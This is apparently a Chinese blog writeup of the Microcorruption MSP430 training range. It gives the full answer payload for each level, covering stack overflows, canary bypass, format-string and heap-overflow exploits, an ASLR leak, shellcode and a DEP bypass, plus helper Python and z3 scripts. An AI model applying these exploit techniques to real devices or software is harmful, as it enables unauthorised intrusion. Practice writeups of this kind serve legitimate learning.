近期得空做了下Microcorruption,一个pwn方向的基础靶场。靶场做得很不错,可以在线通过网页对程序进行调试,操作性强,趣味性也不错,在开开心心打怪的同时还能掉不少装备,官方解释:(学到很多基础知识,进一步巩固了pwn方向的基本功),寓教于乐。靶场的操作也很简单,需要掌握的命令不多,关键的几个:s 单步 c 运行 b 断点 r 查看内存或寄存器的值,整个靶场的重心在于对代码的理解以及基础知识的掌握,个人做完后感觉还是很有收获的,现将writeup记录下来与大家交流一下。
关键代码:
就是计算输入密码的位数,只要位数符合为8位就可以。
关键代码:
到这里正确密码已经知道了。
关键代码:
这里0x3152是具体的16进制数值,不是地址,所以就是数值之间的比较,因为内存中数值的顺序还需要调换,所以正确的就应该是5231;
最终正确的答案就是这个,这里可以直接用16进制输入,也可以直接输入字母,用16进制时记得勾选,然后也不需要加0x,默认就是16进制了。
关键代码:
password的最后一位保证是0xe0就可以满足条件了。
随后的题都是溢出相关的了。
需要保证r15经过test函数后不为0,在继续看test函数;入栈前的状态;
运行完后没发现
mov指令结束后r15就清零了;无论密码正确与否,所以此题不是单纯的反汇编,还涉及到栈溢出;
通过简单分析可以看到,程序调用了INT函数,根据LockIT Pro用户手册第7页,可以看到INT函数的作用是将中断号压入栈中,然后调用系统中断,在 <INT>上方正是将“0x7d”压入栈中,所以这是调用INT 0x7d中断。
尝试输入若干个“A”,测试一下看看它是否会覆盖什么;
我们在login函数的ret指令处下断点,并运行到ret指令的地址0x453e。
sp;栈指针,pc;代码的运行地址;
sp寄存器指向的正是login的返回地址,关于ret指令的作用,msp430手册中说明,将当前sp指向的栈中的返回地址移动到pc寄存器,也就是相当于pop和 jmp的操作,所以可改变程序的执行流程。
返回地址可以被我们输入的数据覆盖,那么我们就利用这一点,来达到劫持程序流程的目的。首先我们确定返回地址的偏移,返回地址在0x43fe的位置,而我们的密码在0x43ee,所以它的偏移在+0x10的位置。确定偏移后,需要填充返回地址,返回时执行我们希望执行的代码,既然我们的目的是解锁,那么不如将unlock_door解锁函数的地址0x4446作为填充。
一切准备之后,开始进行栈溢出漏洞利用,别忘了返回地址的字节序。
payload:使用十六进制输入:414141414141414141414141414141414644。
这里有一个加密函数,一个隐藏的2400;
看到2400是有代码的,所以要想办法进行编译;
找到了关键的位置,还是需要动态调试下的;基址是2400;相对偏移是48,所以需要在2448处下个断点看看数值;
在断点处停了下来,可以开到正确值为5d3a;注意输入时要改成16进制的方式;
审计源码,发现与cusco很类似,需要自己修改ret的返回地址来控制程序的执行流程,不同在于cusco有函数可以利用,而这里是没有函数可以利用的,需要自己添加shellcode;
ret的地址为34d0,经过构造,可以控制返回地址去执行我们自己的shellcode;
在根据msp430手册说明;
需要调用<INT>函数,0x7F作为参数传入;
因此payload可以构造为:4141414141414141414141414141414160447f
通过输入进行测试;
同上题一样,是可以通过输入控制返回地址的;
payload为:4141414141414141414141414141414160447f
栈溢出的思路是一样的,但这里多了canary限制,是需要绕过的;
有个canary的比较,如果不对会跳转到异常的处理;所以构造的payload为;
4141414141414141414141414141414141824644
这题的难点在于对输入的判断条件很多,要一步一步的测试,最终让程序正常往下运行即可;
输入aaaa、bbbb进行测试;
username在0x43a2,password在0x43b5,栈指针at 0x43a0,返回地址0x43cc;
最终的payload为:
Username : 6161616161616161616161616161616161016161616161616161616161616161616161616161616161614a44
Password : 626262626262626262626262626262626200
与上题类似,重点也在于输入判断条件的绕过;
最终payload:
username:
6161616161616161616161616161616161616161616161616161616161616161
password:
616161614c446262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262
观察主函数;
看到很多printf函数,自然联想到可能考察的是格式化字符串漏洞;
找到关键的跳转位置;
想办法让448a处不满足跳转的条件,程序就可以往下执行到call了;利用了printf的漏洞,构造payload:08322569256e,即:0832%i%n
观察主函数;
还是同样利用了printf的漏洞来绕过;
重点在于要给函数<INT>压入参数0x7e,%n将用0x7f覆盖0x7e;所以payload构造为:
44c8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%n
转换为16进制为:
c8446161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161256e
观察主函数;
这里考察的是最基本的堆溢出;
输入:
user: aaaa
pass: bbbb
根据堆溢出的原理,查看free的返回地址;
4562是free的返回地址;4444也是改变程序流程的地址;
构造payload为:
user : 61616161616161616161616161616161444462450100
pass: <blank>
观察主函数;
这里用到了地址随机化保护,同时也用到printf漏洞;
先通过%x%x泄露printf的地址,
然后计算偏移:0x48ec – 0x476a = 0x182,根据偏移算出函数<INT>的实际地址;同时还要给<INT>函数压入参数0x7F。
因此payload的公式为:8字节+(printf_addr + 0x182) + 2 字节 + 7f00
根据题目,我这里的实际payload为:4141414141414141d86d41417f00
观察函数;
没有可直接利用函数来解锁;
输入:111122223333
所给的输入空间为200字节;
我们这里直接利用<getsn>函数里的<INT>;
网站自带的小工具,可以将汇编码转为机器码;
再想办法将shellcode写入bss去执行,(因为这里空间大小不够,所以跳到bss去写入shellcode);
最终payload为:
Password : 41414141414141414141414141414141415446304430443044
Password : 30127f00b012fc45
观察函数,发现:
注意到这里开启了DEP,数据在栈上不可执行;
输入:6161616161616161616161616161616161616161进行测试;
运行程序发现报错:Segmentation Fault: can not execute write-only page.
需要先调用该函数来解除DEP保护;因此我们payload的结构为:shellcode+填充字节+函数
mark_page_executable地址+内存页面值+shellcode地址;
shellcode:
mov #0xff00, sr
call #0x10
最终payload为:‘324000ffb0121000′ + ’61’ * 8 + ‘ba44’ + ‘3f00’ + ‘0000’ + ‘ee3f
倒数第二关的Boss,难度是配的上这个位置的。。。堆溢出的题目,溢出思路:
贴上大佬的一个脚本;
Password: 6e6577203020313b6e6577203820313b6e6577204820313b6e6577205020313b6e657720ca3d0101feff3420313b6e657720ca3da250b9f48a505c51feff3020313b6e6577205820313b6e6577206820313b6e6577207020313b6e6577207820313b6e657720303020313b6e657720303820313b324000ff30401000
终极boss,难度上来说一点毛病没有;
使用脚本来转化下,便于IDA分析;
#!/usr/bin/env python import sys if len(sys.argv) < 2: print 'Usage : %s <msp430.dump> > msp430.bin' % sys.argv[0] quit() with open(sys.argv[1], 'r') as f: data = f.read() data = data.split('\n') last_addr = 0x0000 def addLine(addr, line): return '00' * (addr - last_addr - 16) + line bin = '' for line in data: if len(line) < 1: continue l = line[8:48] if l[0] == '*': continue bin += addLine(int(line[:4],16),l.replace(' ','')) last_addr = int(line[:4],16) print bin.decode('hex')
最终脚本;
from z3 import * def itera(r4, r6, val): return (r6 ^ val, RotateLeft(r4 + val,8)) def hashfun(values): r4 = 0 r6 = 0 for v in values: (r4, r6) = itera(r4, r6, v) return (r4, r6) def solve(): for length in range(2,50, 1): values = [BitVec(chr(41+i), 16) for i in range(length)] (r4_f, r6_f) = hashfun(values) s = Solver() s.add(r4_f == 0xfeb1) s.add(r6_f == 0x9298) if s.check() == sat: print 'solution of len %2d: ' % length, m = s.model() final = '' for x in values: l = m[x].as_long() final += '%02x%02x' % (l & 0xff, l >> 8 & 0xff) print final if __name__ == '__main__': solve()
Password : 1220833eef6b
最后贴上自己做的答案,供大家参考;